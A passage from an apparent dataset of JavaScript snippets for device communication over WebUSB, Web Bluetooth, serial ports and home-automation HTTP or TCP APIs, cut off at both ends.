version);\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\terrorln(\\\"unknown command\\\");\\n\\t\\t\\tbreak;\\n\\t}\\n\\n\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n}\",\n \"async function findUSBDevice(event) {\\n // STEP 1A: Auto-Select first port\\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\\n // ports = await getPorts()\\n //STEP 1A: GetPorts - Automatic at initialization\\n // -Enumerate all attached devices\\n // -Check for permission based on vendorID & productID\\n devices = await navigator.usb.getDevices();\\n ports = devices.map((device) => new serial.Port(device)); //return port\\n\\n if (ports.length == 0) {\\n port.statustext_connect =\\n 'NO USB DEVICE automatically found on page load';\\n console.log(port.statustext_connect);\\n } else {\\n var statustext = '';\\n if (event.type == 'AutoConnect') {\\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\\n } else if (event.type == 'Reconnect') {\\n statustext = 'RECONNECTED USB DEVICE!';\\n }\\n port = ports[0];\\n try {\\n await port.connect();\\n } catch (error) {\\n console.log(error);\\n }\\n port.statustext_connect = statustext;\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n }\\n }\\n\\n // STEP 1B: User connects to Port\\n if (\\n event.type == 'pointerup' ||\\n event.type == 'touchend' ||\\n event.type == 'mouseup'\\n ) {\\n event.preventDefault(); //prevents additional downstream call of click listener\\n try {\\n //STEP 1B: RequestPorts - User based\\n // -Get device list based on Arduino filter\\n // -Look for user activation to select device\\n const filters = [\\n { vendorId: 0x2341, productId: 0x8036 },\\n { vendorId: 0x2341, productId: 0x8037 },\\n { vendorId: 0x2341, productId: 0x804d },\\n { vendorId: 0x2341, productId: 0x804e },\\n { vendorId: 0x2341, productId: 0x804f },\\n { vendorId: 0x2341, productId: 0x8050 },\\n ];\\n\\n device = await navigator.usb.requestDevice({ filters: filters });\\n port = new serial.Port(device); //return port\\n\\n await port.connect();\\n\\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n } catch (error) {\\n console.log(error);\\n }\\n waitforClick.next(1);\\n }\\n} //FUNCTION findUSBDevice\",\n \"function bleConsole(value){\\n const y = document.getElementById('serial')\\n /* check if the device is connected if true send file*/\\n if(isConnected){\\n /* need to read the value of the TX_char\\n * may need some kind of loop or trigger to watch if new data comes in????\\n * not sure what I want to implement for this yet....\\n */\\n // y.innerText = TX_characteristic.readValue(); TODO does not work\\n }else{\\n const x = document.getElementById('console');\\n x.style.display =\\\"none\\\";\\n alert(\\\"MicroTrynkit device not connected. Please pair it first.\\\");\\n }\\n\\n}\",\n \"writeLoginControl(data) {\\n var arrData = [17,16,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginControl_1',data_send);\\n for (var i = 0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginControl successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginControl failed ',error);\\n });\\n }\",\n \"function onData(d){\\n var frame,\\n generatedData,\\n response;\\n\\n frame = TBus.parse(d);\\n\\n if(!frame.valid){\\n console.log(\\\"Invalid frame received.\\\");\\n return;\\n }\\n\\n if(!Devices[frame.receiver[0]]){\\n console.log(\\\"Device is not supported.\\\");\\n }\\n\\n generatedData = Devices[frame.receiver[0]].randomData();\\n response = TBus.prepareCommand(frame.sender, frame.receiver, generatedData);\\n\\n setTimeout(function(){\\n /*\\n var one,\\n two;\\n\\n one = new Buffer(response.slice(0,5));\\n two = new Buffer(response.slice(5,response.length));\\n serialPort.write(one);\\n setTimeout(function(){\\n serialPort.write(two);\\n },110);\\n */\\n serialPort.write(response);\\n },0);\\n}\",\n \"enumerate_devices() {\\n const filters = {filters: [\\n {vendorId: 0x16D0}\\n ]};\\n\\n if (!this.usb) {\\n this.log(\\\"error: WebUSB not supported\\\\n\\\", \\\"red\\\");\\n return;\\n }\\n\\n this.usb.requestDevice(filters)\\n .then(dev => this.connect_device(dev))\\n .catch(error => {\\n if (String(error) === \\\"SecurityError: Must be handling a user gesture to show a permission request.\\\") {\\n this.log(\\\"Please click 'Connect Device' on the left toolbar.\\\", \\\"black\\\");\\n } else if (String(error) === \\\"NotFoundError: No device selected.\\\") {\\n this.log(\\\"Please select a WebUSB device.\\\", \\\"red\\\");\\n } else {\\n this.log(String(error));\\n this.log(\\\"error: unable to enumerate USB device list\\\");\\n }\\n });\\n }\",\n \"function bluetooth(){\\n\\n if (!navigator.bluetooth) {\\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\\n }\\n const z = document.getElementById('debugger');\\n const y = document.getElementById('serial')\\n\\n if (z.style.display ===\\\"none\\\"){\\n z.style.display = \\\"block\\\";\\n }else{\\n }\\n \\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ ('Requesting Bluetooth Devices');\\n navigator.bluetooth.requestDevice({\\n filters:[{\\n name: 'MicroTrynkit',\\n }],\\n optionalServices: [service]\\n })\\n .then(device=>{\\n z.innerHTML = z.innerHTML + \\\"\\\\n\\\"+ (\\\"Connected to: \\\");\\n z.innerHTML= z.innerHTML +\\\"\\\\n\\\"+ (\\\">Name:\\\" + device.name);\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (\\\">id:\\\" + device.id);\\n isConnected = 1;\\n bledevice = device;\\n return device.gatt.connect();\\n })\\n .then(server=>{\\n bleserver = server;\\n return server.getPrimaryService(service);\\n })\\n .then(service => {\\n return service.getCharacteristic(RX_char)\\n .then(characteristic => {\\n console.log(characteristic);\\n RX_characteristic = characteristic;\\n return service.getCharacteristic(TX_char);\\n })\\n })\\n .then(characteristic => {\\n console.log(characteristic);\\n TX_characteristic = characteristic;\\n /* add an event listener to the TX characteristic */\\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\\n console.log(TX_characteristic.readValue());\\n })\\n .then( value =>{\\n /* try to read from the device and print to console */\\n // y.innerText = value.getUint8(0);\\n // console.log(value.getUint8(0));\\n })\\n .catch(error=> {\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (error);\\n });\\n}\",\n \"function ble_transmit_cmd(cmd) {\\n if(cmd == 0){\\n for(var i = 0; i < g_rawcode_length/2; i = i + 1){\\n uiProgressBar(g_rawcode_length/2, i+1);\\n\\n var tx_data = [];\\n\\n /*\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[j] = 0xff & (i >> (8*(1-j)));\\n }\\n */\\n //CMD\\n tx_data[0] = 0;\\n //index\\n tx_data[1] = i & 0xff;\\n\\n\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\\n }\\n\\n //freq(0:38k, 1;40k)\\n tx_data[4] = 0;\\n //Format(0:unknown, 1:NEC, 2:SONY...)\\n tx_data[5] = 1;\\n\\n //Number of Frame\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\\n }\\n\\n //Data0\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Data1\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Transmit\\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n }else{\\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix - Req\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n}\",\n \"async function upload( cmd_array, fastspeed = true){\\n let fullflag = false\\n \\n if(cmd_array.length>1){\\n fullflag = Boolean(parseInt(cmd_array[1]))\\n }\\n\\n if(fastspeed){\\n await blxConnectionFast()\\n if(blxErrMsg) return\\n }\\n\\n for(;;){ // Unlock Device (locked in FAST mode)\\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\\n if (blxErrMsg) break\\n\\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\\n }\\n \\n await calcMem(true) // With adjust\\n if(blxErrMsg) break\\n\\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\\n\\n if(blxUserCB) {\\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \\n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \\n }\\n \\n await updateFile('data.edt', fullflag)\\n if(blxErrMsg) break\\n\\n await updateFile('data.edt.old', fullflag)\\n //if(blxErrMsg) break // not needed\\n\\n break \\n } // for\\n\\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\\n await blxConnectionSlow()\\n }\\n }\",\n \"function request(value) {\\n\\t// Init variables\\n\\tlet src;\\n\\tlet cmd;\\n\\n\\tswitch (value) {\\n\\t\\tcase 'motor-values' : {\\n\\t\\t\\tsrc = 'DIA';\\n\\t\\t\\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\n\\t\\tdefault : return;\\n\\t}\\n\\n\\tbus.data.send({\\n\\t\\tsrc : src,\\n\\t\\tdst : 'DME',\\n\\t\\tmsg : cmd,\\n\\t});\\n}\",\n \"async request() {\\n let options = {\\n filters: [\\n {\\n name: \\\"balenaBLE\\\"\\n }\\n ],\\n optionalServices: [0xfff0, 0xfff1]\\n };\\n if (navigator.bluetooth == undefined) {\\n alert(\\\"Sorry, Your device does not support Web BLE!\\\");\\n return;\\n }\\n this.device = await navigator.bluetooth.requestDevice(options);\\n if (!this.device) {\\n throw \\\"No device selected\\\";\\n }\\n this.device.addEventListener(\\\"gattserverdisconnected\\\", this.onDisconnected);\\n }\",\n \"async function writepumpdurationtoBLE(num){\\n console.log('Attempting bluetooth write')\\n var arrInt8 = toBytesInt16(num)\\n ble.twrite_pumpduration=performance.now()\\n try{\\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\\n console.log(textstr)\\n ble.statustext = textstr\\n // \\n //wdm(textstr)\\n }\\n catch(error) {\\n var textstr = 'Could not write pump duration to ble device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n }\\n}\",\n \"function sendSerialData() {\\n\\t\\tif (isLoaded()) {\\n\\t\\t\\t// Beggining and ending patterns that signify port has responded\\n\\t\\t\\t// chr(2) and chr(13) surround data on a Mettler Toledo Scale\\n\\t\\t\\tqz.setSerialBegin(chr(2));\\n\\t\\t\\tqz.setSerialEnd(chr(13));\\n\\t\\t\\t// Baud rate, data bits, stop bits, parity, flow control\\n\\t\\t\\t// \\\"9600\\\", \\\"7\\\", \\\"1\\\", \\\"even\\\", \\\"none\\\" = Default for Mettler Toledo Scale\\n\\t\\t\\tqz.setSerialProperties(\\\"9600\\\", \\\"7\\\", \\\"1\\\", \\\"even\\\", \\\"none\\\");\\n\\t\\t\\t// Send raw commands to the specified port.\\n\\t\\t\\t// W = weight on Mettler Toledo Scale\\n\\t\\t\\tqz.send(document.getElementById(\\\"port_name\\\").value, \\\"\\\\nW\\\\n\\\");\\n\\t\\t\\t\\n\\t\\t\\t// Automatically called when \\\"qz.send()\\\" is finished waiting for \\n\\t\\t\\t// a valid message starting with the value supplied for setSerialBegin()\\n\\t\\t\\t// and ending with with the value supplied for setSerialEnd()\\n\\t\\t\\twindow['qzSerialReturned'] = function(portName, data) {\\n\\t\\t\\t\\tif (qz.getException()) {\\n\\t\\t\\t\\t\\talert(\\\"Could not send data:\\\\n\\\\t\\\" + qz.getException().getLocalizedMessage());\\n\\t\\t\\t\\t\\tqz.clearException(); \\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tif (data == null || data == \\\"\\\") { // Test for blank data\\n\\t\\t\\t\\t\\t\\talert(\\\"No data was returned.\\\")\\n\\t\\t\\t\\t\\t} else if (data.indexOf(\\\"?\\\") !=-1) { // Test for bad data\\n\\t\\t\\t\\t\\t\\talert(\\\"Device not ready. Please wait.\\\")\\n\\t\\t\\t\\t\\t} else { // Display good data\\n\\t\\t\\t\\t\\t\\talert(\\\"Port [\\\" + portName + \\\"] returned data:\\\\n\\\\t\\\" + data);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t};\\n\\t\\t}\\n\\t}\",\n \"function getWeMoData() {\\n var wemoHeaders = { \\n \\\"Content-Type\\\": \\\"application/json\\\", \\n \\\"SOAPACTION\\\": \\\"urn:Belkin:service:basicevent:1#GetBinaryState\\\",\\n };\\n var wemoState = '>' + \\n '' +\\n \\\"\\\" + \\n '' + \\n \\\"1 \\\" + \\n \\\" \\\" + \\n \\\" \\\" + \\n \\\" \\\"\\n var wemoOptions =\\n {\\n \\\"method\\\" : \\\"post\\\",\\n \\\"headers\\\" : wemoHeaders,\\n \\\"muteHttpExceptions\\\": true,\\n \\\"payload\\\" : wemoState,\\n };\\n\\n var ddnsDevices = [ \\\"WemoXmas\\\", \\\"WemoGazebo\\\" ];\\n props.setProperty( \\\"weNum\\\", ddnsDevices.length ); \\n \\n for (var i = 0; i < ddnsDevices.length; i++) {\\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \\\"URL\\\") + \\\"/upnp/control/basicevent1\\\").getContentText();\\n Logger.log(response);\\n var wemoJson = JSON.parse(response);\\n state = wemoJSON.BinaryState;\\n props.setProperties( \\\"we\\\" + String(i), state ); \\n /* send to ATT M2X*/\\n var streams = [ \\\"we0\\\", \\\"we1\\\", \\\"we2\\\", \\\"we3\\\" ];\\n sendDataATT(ddnsDevices[i], streams);\\n logProps(streams);\\n }\\n \\n}\",\n \"function OpenAVR(device)\\n{\\n if (device.deviceDescriptor.idVendor != kAtmel ||\\n device.deviceDescriptor.idProduct != kEVK1101)\\n {\\n return; // (not our device)\\n }\\n\\n try {\\n device.open();\\n device.interfaces[0].claim();\\n // find first unused input >= 2\\n for (var i=2; ; ++i) {\\n if (i < avrs.length && avrs[i]) continue;\\n avrs[i] = device;\\n device.avrNum = i;\\n var endIn = device.interfaces[0].endpoints[0];\\n var endOut = device.interfaces[0].endpoints[1];\\n endIn.avrNum = i;\\n endOut.avrNum = i;\\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endIn.timeout = 1000;\\n endOut.timeout = 1000;\\n // (must install handlers before we start polling)\\n endIn.on('data', HandleData);\\n endIn.on('error', HandleError);\\n endOut.on('error', HandleError);\\n endIn.startPoll(4, 256);\\n\\n // add member function to send command to AVR\\n device.SendCmd = SendCmd;\\n // send initial command to get AVR serial number and software version\\n device.SendCmd(\\\"a.ser;b.ver\\\\n\\\");\\n break;\\n }\\n }\\n catch (err) {\\n Log('Error opening AVR device');\\n }\\n}\",\n \"function sendCommand(device_id, command) {\\n\\tnew Ajax.Request(\\\"/controls/sendCommand\\\", { \\n\\t\\tmethod: \\\"get\\\", \\n\\t\\tparameters: { \\n\\t\\t\\t\\\"device_id\\\": device_id,\\n\\t\\t\\t\\\"command\\\": command,\\n\\t\\t}\\n\\t});\\t\\n}\",\n \"function send (token, deviceId, payload, cb) {\\n\\trequest.post({\\n\\t\\turl,\\n\\t\\tbody: Buffer.concat([new Buffer(deviceId, 'hex'), payload]),\\n\\t\\theaders: {\\n\\t\\t\\t'Content-Type': 'application/octet-stream',\\n\\t\\t\\t'Authorization': 'Token ' + token,\\n\\t\\t},\\n\\t}, (err, httpResponse, body) => {\\n\\t\\tif (err) return cb(err)\\n\\n\\t\\tif (httpResponse.statusCode !== 200) {\\n\\t\\t\\treturn cb('Error in ConCaVa (' + httpResponse.statusMessage + '): ' + body)\\n\\t\\t}\\n\\n\\t\\tcb()\\n\\t})\\n}\",\n \"function setupUSBEventHandlers(result) {\\n\\tconsole.log('App was granted the \\\"usbDevices\\\" permission.');\\n\\tchrome.usb.findDevices(device_info, function(devices) {\\n\\t\\tconsole.log('Found ' + devices.length + ' devices.');\\n\\t\\tif (!devices || !devices.length) {\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\tmp_device = devices[0];\\n\\t\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n\\n\\t\\tchangeState(state.ready);\\n\\t});\\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){console.log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"update() {\\n\\t\\tthis.dev.controlTransfer(0xb2, 0x06, 0, 0, 128).then((status) => {\\n\\t\\t\\tif(status.length != 128) {\\n\\t\\t\\t\\treturn this.error(`Status size error. Received: ${status.length}`);\\n\\t\\t\\t}\\n\\t\\t\\tthis.parseStatus(status);\\n\\t\\t});\\n\\t}\",\n \"function sendToSerial(data){\\n var objFromBuffer = JSON.parse(data);\\n console.log(\\\"sending to serial: \\\", objFromBuffer.data);\\n if(objFromBuffer.data !== undefined){\\n myPort.write(objFromBuffer.data); \\n }\\n}\",\n \"function respond(){\\n\\t\\t\\t\\t\\t// flush HTTP response\\n\\t\\t\\t\\t\\tvar bin = responsePacket.serialize();\\n\\t\\t\\t\\t\\t//sys.puts( utils.hex(bin) );\\n\\t\\t\\t\\t\\t//sys.puts( sys.inspect(responsePacket) );\\n\\t\\t\\t\\t\\tres.writeHead( 200, {\\n\\t\\t\\t\\t\\t\\t'Content-Type': 'application/x-amf',\\n\\t\\t\\t\\t\\t\\t'Content-Length': bin.length \\n\\t\\t\\t\\t\\t} );\\n\\t\\t\\t\\t\\tres.write( bin, \\\"binary\\\" );\\n\\t\\t\\t\\t\\tres.end();\\n\\t\\t\\t\\t}\",\n \"function WebUSBSerialCommunicator (params) {\\n var self = this;\\n\\n self.debugMode = false;\\n if(typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.debug === \\\"boolean\\\") {\\n self.debugMode = params.debug;\\n }\\n\\n if(typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.device === \\\"object\\\") {\\n if (params.device.vendorId === FTDI_USB_VENDOR_ID && params.device.productId === FTDI_USB_PRODUCT_ID) {\\n this.serial = new WebFTDIUSBSerialPort({\\n device: params.device,\\n debug: self.debugMode\\n });\\n } else if (params.device.vendorId === NATIVE_USB_VENDOR_ID && params.device.productId === NATIVE_USB_PRODUCT_ID) {\\n this.serial = new WebNativeUSBSerialPort({\\n device: params.device,\\n debug: self.debugMode\\n });\\n } else {\\n throw new Error(\\\"Device's vendor ID and product ID do not match a TappyUSB\\\");\\n }\\n } else if (typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.serial === \\\"object\\\"){\\n // this is just for testing and should not be used\\n this.serial = params.serial;\\n } else {\\n throw new Error(\\\"Must specify a TappyUSB device\\\");\\n }\\n\\n this.isConnecting = false;\\n this.hasAttached = false;\\n this.disconnectImmediately = false;\\n this.disconnectCb = function() {};\\n\\n this.dataReceivedCallback = function(bytes) {\\n\\n };\\n this.errorCallback = function(data) {\\n\\n };\\n this.readCallback = function(buff) {\\n self.dataReceivedCallback(new Uint8Array(buff));\\n };\\n }\",\n \"writeLoginSetting(data) {\\n var arrData = [17,32,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginSetting_1',data_send);\\n for (var i =0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginSetting_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginSetting successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginSetting failed ',error);\\n });\\n }\",\n \"function sendToSerial(data) {\\n console.log(\\\"sending to serial: \\\" + data);\\n port.write(data);\\n}\",\n \"function HandleResponse(avrNum, responseID, msg)\\n{\\n switch (responseID) {\\n case 'a': // a = get serial number\\n var avr;\\n avrs[avrNum].avrSN = msg; // save s/n in device object\\n for (var i=0; i= 8 && msg.substr(0,1) == 'm') {\\n var n = msg.substr(1,1); // motor number\\n var a = msg.split(' ');\\n for (var i=0; i 0) continue;\\n } else {\\n // allow negative motor speed when at top limit\\n if (motorSpd[mot] < 0) continue;\\n }\\n avrs[0].SendCmd(\\\"c.m\\\" + mot + \\\" halt\\\\n\\\");\\n var which = isBottom ? \\\"lower\\\" : \\\"upper\\\";\\n Log(\\\"M\\\" + mot + \\\" halted! (hit \\\" + which + \\\" limit switch)\\\");\\n }\\n }\\n }\\n } break;\\n\\n case 'z': // z = disable watchdog timer\\n // forget about the unknown AVR\\n avrs[avrNum].interfaces[0].endpoints[0].device = avrs[avrNum];\\n avrs[avrNum].interfaces[0].endpoints[0].on('end', HandleEnd);\\n avrs[avrNum].interfaces[0].endpoints[0].stopPoll();\\n avrs[avrNum] = null;\\n break;\\n\\n default:\\n Log('AVR'+avrNum, 'Unknown response:', msg);\\n break;\\n }\\n return avrNum;\\n}\",\n \"async function blxDeviceCmd (cmd, timeout_ms = DEV_TIMEOUT_MS) { // case dep.\\n if (blxCmdBusy === true) {\\n console.warn('*** BLX BUSY (Since ' + (Date.now() - blxCmdBusy_t0).toFixed(0) + ' msec) ***')\\n return\\n }\\n\\n if (full_connected_flag !== true) {\\n if (NUS_device === undefined) {\\n blxErrMsg = 'ERROR(DeviceCmd): Not Connected!'\\n return\\n } else {\\n await blxConnectNus(0, 1) // Reconnect with SCAN\\n if (blxErrMsg) return\\n }\\n }\\n\\n blxCmdBusy = true\\n blxCmdLast = cmd\\n blxCmdBusy_t0 = Date.now()\\n await bleSendData(cmd)\\n await wait_blx(timeout_ms)\\n blxCmdBusy = false\\n }\",\n \"function send2LMviaBT(value) { //value is an arry of bytes\\r\\n //let encoder = new TextEncoder('utf-8');\\r\\n mDebugMsg1(1,'Setting Characteristic User Description...');\\r\\n gattCharacteristic.writeValue(value)\\r\\n .then(_ => {\\r\\n \\t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\\r\\n })\\r\\n .catch(error => {\\r\\n\\t\\t//todo9: userfriendly message\\r\\n \\t mDebugMsg1(1,'Argh! ' + error);\\r\\n });\\r\\n\\r\\n\\r\\n }\",\n \"async function requestBarcodePrinter() {\\n console.log(navigator)\\n navigator.usb &&\\n navigator.usb\\n .requestDevice({\\n filters: [\\n {\\n vendorId: 5380,\\n // classCode: 0xff, // vendor-specific\\n // protocolCode: 0x01,\\n },\\n ],\\n })\\n .then(selectedDevice => {\\n setBarcodePrinter(selectedDevice)\\n })\\n .catch(errorInfo => {\\n console.log(errorInfo)\\n // message.error(i18n.t`Cannot find label printer`)\\n })\\n }\",\n \"_sendData() {\\n\\n }\",\n \"function sendData() {\\n // convert the value to an ASCII string before sending it:\\n serialPort.write(brightness.toString());\\n console.log('Sending ' + brightness + ' out the serial port');\\n }\",\n \"function raspiWrite(component, value){\\t\\n\\tconst data = {\\n\\t\\tValue: value\\n\\t};\\n\\n\\tconst option = {\\n\\t\\tmethod: 'POST',\\n\\t\\tbody: JSON.stringify(data), \\n\\t\\theaders:{\\n\\t\\t\\t'Content-Type': 'application/json'\\n\\t\\t}\\n\\t}\\n\\tfetch('/raspi/' + component, option)\\n\\t.then(console.log(\\\"LED actualizado\\\"));\\n}\",\n \"function sendRequest(sensorType, isSensorOn, dataByte) {\\n var newRequest = new XMLHttpRequest();\\n newRequest.open(\\\"POST\\\", `http://${window.location.host}/pi_data`, true);\\n newRequest.setRequestHeader(\\\"Content-Type\\\", \\\"application/json\\\");\\n newRequest.send(\\n JSON.stringify({\\n sensor: sensorType,\\n isSensorOn: isSensorOn,\\n mode: dataByte,\\n })\\n );\\n}\",\n \"function trans_appbin(idx) {\\n let btdev = btdevs[idx];\\n let seq = btdev.wrtseq;\\n\\n showProgress(idx);\\n\\n if (seq >= mrbbin.byteLength / mrb_chunk_size) {\\n btdev.wrtseq = -1;\\n let buf = [0x07, 0x70, 0x61, 0x73, 0x73, 0x00];\\n btdev.bt.write(\\\"WriteApp\\\", buf);\\n console.log(\\\"Transfer completed. idx=\\\" + idx);\\n return;\\n }\\n\\n // var binbuf = [0x06, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];\\n // binbuf[1] = Math.floor(seq / 256);\\n // binbuf[2] = seq % 256;\\n btdev.binbuf[1] = Math.floor(seq / 256);\\n btdev.binbuf[2] = seq % 256;\\n\\n for (var i=0; i {\\n let allData = \\\"\\\";\\n res.on('data', function(data) { allData += data; });\\n res.on('close', function(data) { console.log(\\\"Closed: \\\" + allData); }); \\n }).end(content);\\n}\",\n \"function sendData() {\\n // convert the value to an ASCII string before sending it:\\n myPort.write(brightness.toString());\\n console.log('Sending ' + brightness + ' out the serial port');\\n // increment brightness by 10 points. Rollover if > 255:\\n if (brightness < 255) {\\n brightness+= 10;\\n } else {\\n brightness = 0;\\n }\\n }\",\n \"function processDeviceCommand(request, response) {\\r\\n\\tvar command = request.headers[\\\"tplink-command\\\"]\\r\\n\\tvar deviceIP = request.headers[\\\"tplink-iot-ip\\\"]\\r\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command\\r\\n\\tconsole.log(respMsg)\\r\\n\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\tresponse.setHeader(\\\"action\\\", action)\\r\\n\\tvar socket = net.connect(9999, deviceIP)\\r\\n\\tsocket.setKeepAlive(false)\\r\\n\\tsocket.setTimeout(6000)\\r\\n\\tsocket.on('connect', () => {\\r\\n\\t\\tsocket.write(TcpEncrypt(command))\\r\\n\\t})\\r\\n\\tsocket.on('data', (data) => {\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tdata = decrypt(data.slice(4)).toString('ascii')\\r\\n\\t\\tresponse.setHeader(\\\"cmd-response\\\", data)\\r\\n\\t\\tresponse.end()\\r\\n\\t\\tvar respMsg = \\\"Command Response sent to SmartThings\\\"\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t}).on('timeout', () => {\\r\\n\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"TcpTimeout\\\")\\r\\n\\t\\tresponse.end()\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tvar respMsg = new Date() + \\\"\\\\n#### TCP Timeout in deviceCommand for IP: \\\" + deviceIP + \\\" ,command: \\\" + command\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t\\tlogResponse(respMsg)\\r\\n\\t}).on('error', (err) => {\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tvar respMsg = new Date() + \\\"\\\\n#### Socket Error in deviceCommand for IP: \\\" + deviceIP + \\\" ,command: \\\" + command\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t\\tlogResponse(respMsg)\\r\\n\\t})\\r\\n}\",\n \"OLDsendFirmware(data) {\\n console.log('[3] bleTransport: TODO sendFirmware(data)');\\n console.log('[3] bleTransport: data =', data);\\n return Promise.resolve();\\n /*TODO\\n this._emitInitializeEvent(ObjectType.DATA);\\n return this.getFirmwareState(data)\\n .then(state => {\\n this._debug(`Sending firmware: ${state.toString()}`);\\n const objects = state.remainingObjects;\\n if (state.hasResumablePartialObject) {\\n const object = state.remainingPartialObject;\\n return this._resumeWriteObject(object, ObjectType.DATA, state.offset, state.crc32).then(progress =>\\n this._createAndWriteObjects(objects, ObjectType.DATA, progress.offset, progress.crc32));\\n }\\n return this._createAndWriteObjects(objects, ObjectType.DATA, state.offset, state.crc32);\\n });\\n */\\n }\",\n \"sendSendSerialPortsMessageToServer() {\\n var message = {};\\n this.sendMessageToServer('sendSerialPorts', message);\\n }\",\n \"async enableSimpleHIDMode() {\\n const outputReportID = 0x01;\\n const 